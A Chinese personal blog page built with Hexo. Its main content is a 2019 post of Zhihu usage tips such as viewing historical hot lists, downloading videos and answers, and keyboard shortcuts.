<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/sqRgMh4rxFBt5YxNtaa6dw" target="_blank" rel="noopener">那些你可能不知道的知乎奇技淫巧</a></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/01/那些你可能不知道的知乎奇技淫巧/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/01/那些你可能不知道的知乎奇技淫巧/" itemprop="url">那些你可能不知道的知乎奇技淫巧</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-01T20:21:15+08:00">
                2019-07-01
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  1.1k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  4 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>这是奇技淫巧系列第 8 篇文章，有兴趣点下面链接看之前的文章。</p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p>知乎是国内活跃的问答社区，相信很多人经常玩，今天说说你可能不知道的知乎。</p>
<h3 id="知乎历史热榜"><a href="#知乎历史热榜" class="headerlink" title="知乎历史热榜"></a>知乎历史热榜</h3><p>知乎的热榜只有当天的，比如今天6月30的 <a href="https://www.zhihu.com/hot" target="_blank" rel="noopener">https://www.zhihu.com/hot</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-c8b631217f10cd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>如果想看历史热榜推荐读知乎<a href="http://duzhihu.cc/history" target="_blank" rel="noopener">http://duzhihu.cc/history</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-66a53784a1bbb520.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>如果你想看其他热榜，推荐 Tophub.today ，具体查看之前文章 <a href="https://mp.weixin.qq.com/s/MOSo-SHTz1zaJaXQM3tnqg" target="_blank" rel="noopener">上班摸鱼好去处</a></p>
<h3 id="手机端显示所有回答"><a href="#手机端显示所有回答" class="headerlink" title="手机端显示所有回答"></a>手机端显示所有回答</h3><p>在微信或者手机浏览器打开知乎问题，如果要显示全部答案，需要下载APP，比如这个问题 <a href="https://www.zhihu.com/question/330840262" target="_blank" rel="noopener">https://www.zhihu.com/question/330840262</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-eb02fd591d718bc0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>如果你不想下载APP怎么办？在域名里加上vvv就成了<br><a href="https://www.zhihuvvv.com/question/330840262" target="_blank" rel="noopener">https://www.zhihuvvv.com/question/330840262</a> ,然后打开效果如下，打开APP变成了查看更多回答。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-e06190f979a8dbd0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>除了查看知乎全部回答， 还可以查看商品历史价格，比如 <a href="https://detail.tmall.com/item.htm?id=527080261251" target="_blank" rel="noopener">https://detail.tmall.com/item.htm?id=527080261251</a> 添加vvv后变为<br><a href="https://detail.tmallvvv.com/item.htm?id=527080261251" target="_blank" rel="noopener">https://detail.tmallvvv.com/item.htm?id=527080261251</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-39936404f832803d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>它还支持淘宝，京东，当当等网站，有兴趣可以看看。</p>
<h3 id="下载知乎视频"><a href="#下载知乎视频" class="headerlink" title="下载知乎视频"></a>下载知乎视频</h3><p>这个在之前的文章已经提到过了，<a href="https://mp.weixin.qq.com/s/5InOxKmi9eXk33G_8N3byQ" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a>,安装一键视频下载器 <a href="https://chrome.google.com/webstore/detail/one-click-video-downloade/bhepgcoaibmmehlmckhlmbdgcemhidcg?hl=zh-CN" target="_blank" rel="noopener">https://chrome.google.com/webstore/detail/one-click-video-downloade/bhepgcoaibmmehlmckhlmbdgcemhidcg?hl=zh-CN</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-fdca834472f5851b?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image" title="image.png"></p>
<p>点击浏览器右上角一键视频下载器按钮，直接点击下载。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-c3a1f56f1bc93a4a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>也可以安装油猴插件<a href="https://greasyfork.org/zh-CN/scripts/39206-%E4%B8%8B%E8%BD%BD%E7%9F%A5%E4%B9%8E%E8%A7%86%E9%A2%91" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/39206-%E4%B8%8B%E8%BD%BD%E7%9F%A5%E4%B9%8E%E8%A7%86%E9%A2%91</a> ，具体安装方法见<a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a>。</p>
<h3 id="知乎极速版"><a href="#知乎极速版" class="headerlink" title="知乎极速版"></a>知乎极速版</h3><p>随着功能不断增加，APP的安装包越来越大，比如微信，但其实很多功能我们用不上，于是很多应用都推出了极速版，知乎也有，不知道微信会不会出。</p>
<p>安卓在应用宝里搜 知乎极速版 可以搜到，只有13.4M，而完整版有43M，下载链接 <a href="http://a.app.qq.com/o/simple.jsp?pkgname=com.zhihu.android.lite&amp;from=singlemessage" target="_blank" rel="noopener">http://a.app.qq.com/o/simple.jsp?pkgname=com.zhihu.android.lite&amp;from=singlemessage</a></p>
<h3 id="伪造知乎截图"><a href="#伪造知乎截图" class="headerlink" title="伪造知乎截图"></a>伪造知乎截图</h3><p> <a href="https://fakes.netlify.com/#/zhihu" target="_blank" rel="noopener">https://fakes.netlify.com/#/zhihu</a> 这个一个伪造知乎，微博等网站截图的网站。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-3197f7400513c7f5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>点击文字就可以编辑，我就不要脸的编辑了下。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-d987358938d92b01.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="知乎高赞"><a href="#知乎高赞" class="headerlink" title="知乎高赞"></a>知乎高赞</h3><p><a href="https://www.zhihu.com/topic/19776749/top-answers" target="_blank" rel="noopener">https://www.zhihu.com/topic/19776749/top-answers</a> 这是知乎的根话题，这里可以看到全站的高赞回答，都是上百k的赞数。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-b061855c169e58f8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>通过话题结构，可以找到你感兴趣的话题。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-a52c9b553fb8e1fc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="知乎助手"><a href="#知乎助手" class="headerlink" title="知乎助手"></a>知乎助手</h3><p>知乎助手可以下载用户的全部回答，比如输入知乎用户的个人主页<br><img src="https://upload-images.jianshu.io/upload_images/17817191-963c00d62e030ee8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>执行完毕后会打开电子书所在文件夹，直接用浏览器打开html下的index.html就行。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-c4b2a567cca1bb77.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-0ef83398da38f026.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>还支持下载收藏夹，专栏，话题，下载地址 <a href="https://pan.baidu.com/s/1vn-96AlHPKsggSzemVKiEg，而且这个工具是开源的，见" target="_blank" rel="noopener">https://pan.baidu.com/s/1vn-96AlHPKsggSzemVKiEg，而且这个工具是开源的，见</a> <a href="https://github.com/YaoZeyuan/zhihuhelp_with_node" target="_blank" rel="noopener">https://github.com/YaoZeyuan/zhihuhelp_with_node</a> </p>
<h3 id="快捷键"><a href="#快捷键" class="headerlink" title="快捷键"></a>快捷键</h3><p>这个只有pc端才有，按?就会弹出。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-f150a5a6491e81a2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>查看回答的时候按v如同点赞（在APP端双击也会点赞，我也是偶然发现的），按j看下一个回答等。</p>
<p>资源 </p>
<p>快速聚合查看各大搜索引擎网页快照的工具 <a href="http://his.sh/" target="_blank" rel="noopener">http://his.sh/</a><br>优雅地玩知乎 <a href="https://github.com/CheezOne/ZhihuVAPI" target="_blank" rel="noopener">https://github.com/CheezOne/ZhihuVAPI</a><br>知乎收藏夹：<a href="http://www.zhihu.com/question/19926207" target="_blank" rel="noopener">http://www.zhihu.com/question/19926207</a><br>优秀个人：<a href="http://www.zhihu.com/question/20237807" target="_blank" rel="noopener">http://www.zhihu.com/question/20237807</a><br>将互联网保存到IPFS <a href="https://github.com/picasso250/zhihu-archive" target="_blank" rel="noopener">https://github.com/picasso250/zhihu-archive</a><br>知乎最高赞？如何求证和索引？<a href="https://magnet.chongbuluo.com/thread-5429-1-1.html?_dsign=f1edfa17" target="_blank" rel="noopener">https://magnet.chongbuluo.com/thread-5429-1-1.html?_dsign=f1edfa17</a></p>
<p>ps:我建了个免费的星球，经常分享些有用好玩的东西，已经发布了近100个主题了，有兴趣的话用微信扫码进入。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-65e0f4fbd97972f0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-393b26173c148690.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
  </section>

  
  <nav class="pagination">
    <a class="extend prev" rel="prev" href="/page/31/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/">1</a><span class="space">&hellip;</span><a class="page-number" href="/page/31/">31</a><span class="page-number current">32</span><a class="page-number" href="/page/33/">33</a><span class="space">&hellip;</span><a class="page-number" href="/page/39/">39</a><a class="extend next" rel="next" href="/page/33/"><i class="fa fa-angle-right"></i></a>
  </nav>



          </div>
          


          

        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      

      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">苏生不惑</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">382</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">37</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/sushengbuhuo" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="mysusheng@gmail.com" target="_blank" title="E-Mail">
                      
                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://plus.google.com/mysusheng" target="_blank" title="Google">
                      
                        <i class="fa fa-fw fa-google"></i>Google</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="http://v2ex.com/" title="v2ex" target="_blank">v2ex</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.fanhaobai.com/" title="fanhaobai" target="_blank">fanhaobai</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="yuanxuxu" target="_blank">yuanxuxu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.snail-c.cn/article" title="snail-c" target="_blank">snail-c</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://showcj.com/archives" title="showcj" target="_blank">showcj</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://vultr.aicnm.com/%E6%9C%80%E6%96%B0Vultr%E6%B3%A8%E5%86%8C%E5%8F%8AVPS%E8%B4%AD%E4%B9%B0%E5%9B%BE%E6%96%87%E6%95%99%E7%A8%8B/" title="vultr" target="_blank">vultr</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lucissfer.com/" title="lucissfer" target="_blank">lucissfer</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.csdn.net/fdipzone/article/details/79352685" title="傲雪星枫" target="_blank">傲雪星枫</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yoby123.cn/index.php/category/default/" title="小白的分享" target="_blank">小白的分享</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/p/5819995.html" title="PHP攻城狮" target="_blank">PHP攻城狮</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.jiaojie.site/" title="php" target="_blank">php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sphard.com/archives/" title="sphard" target="_blank">sphard</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="LNMP技术栈笔记" target="_blank">LNMP技术栈笔记</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.coding10.com/" title="学习 Laravel" target="_blank">学习 Laravel</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://shuwoom.com/?page_id=929" title="区块链学习指南" target="_blank">区块链学习指南</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://greenlightt.github.io/archives/" title="greenlightt" target="_blank">greenlightt</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.0php.net/archives/" title="0php" target="_blank">0php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.fordba.com/category/mysql" title="mysql" target="_blank">mysql</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.itcodemonkey.com/" title="程序员" target="_blank">程序员</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yanshuo.me/r/v2ex" title="言说" target="_blank">言说</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.timiguo.com/archive.html" title="提米果的博客" target="_blank">提米果的博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://phpartisan.cn/news/112.html" title="phpartisan" target="_blank">phpartisan</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/" title="飞鸿影" target="_blank">飞鸿影</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.54php.cn/" title="54php" target="_blank">54php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lazyman.vip/" title="营销" target="_blank">营销</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.njphper.com/archives/" title="做人呢最重要的就是开心" target="_blank">做人呢最重要的就是开心</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.h57.pw/" title="php 初心者" target="_blank">php 初心者</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<div class="copyright">&copy; <span itemprop="copyrightYear">2021</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">苏生不惑</span>

  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Gemini</a> v5.1.4</div>



<div>
<span id="showDays"></span>

</div>

<span id="busuanzi_container_site_pv">
   总访问量:<span id="busuanzi_value_site_pv"></span>次
</span>



  <span class="post-meta-divider">|</span>



<div class="theme-info">
  <div class="powered-by"></div>
  <span class="post-count">博客全站共773.8k字</span>
</div>
<script>
var birthDay = new Date("11/20/2018");
var now = new Date();
var duration = now.getTime() - birthDay.getTime();
var total= Math.floor(duration / (1000 * 60 * 60 * 24));
document.getElementById("showDays").innerHTML = "本站已运行 "+total+" 天";
</script>

        
<div class="busuanzi-count">
  <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
      人次
    </span>
  

  
    <span class="site-pv">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
      次
    </span>
  
</div>








        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  


  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>



  

  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  











<script type="text/javascript">
    (function() {
        // 匿名函数，防止污染全局变量
        var utterances = document.createElement('script');
        utterances.type = 'text/javascript';
        utterances.async = true;
        utterances.setAttribute('issue-term','0')
        utterances.setAttribute('theme','')
        utterances.setAttribute('repo','sushengbuhuo/laravel_ioc_demo')
        utterances.crossorigin = 'anonymous';
        utterances.src = 'https://utteranc.es/client.js';
        // content 是要插入评论的地方
        document.getElementById('gitment-container').appendChild(utterances);
    })();
</script>


  

  <script type="text/javascript">
    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      $.ajax({
        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
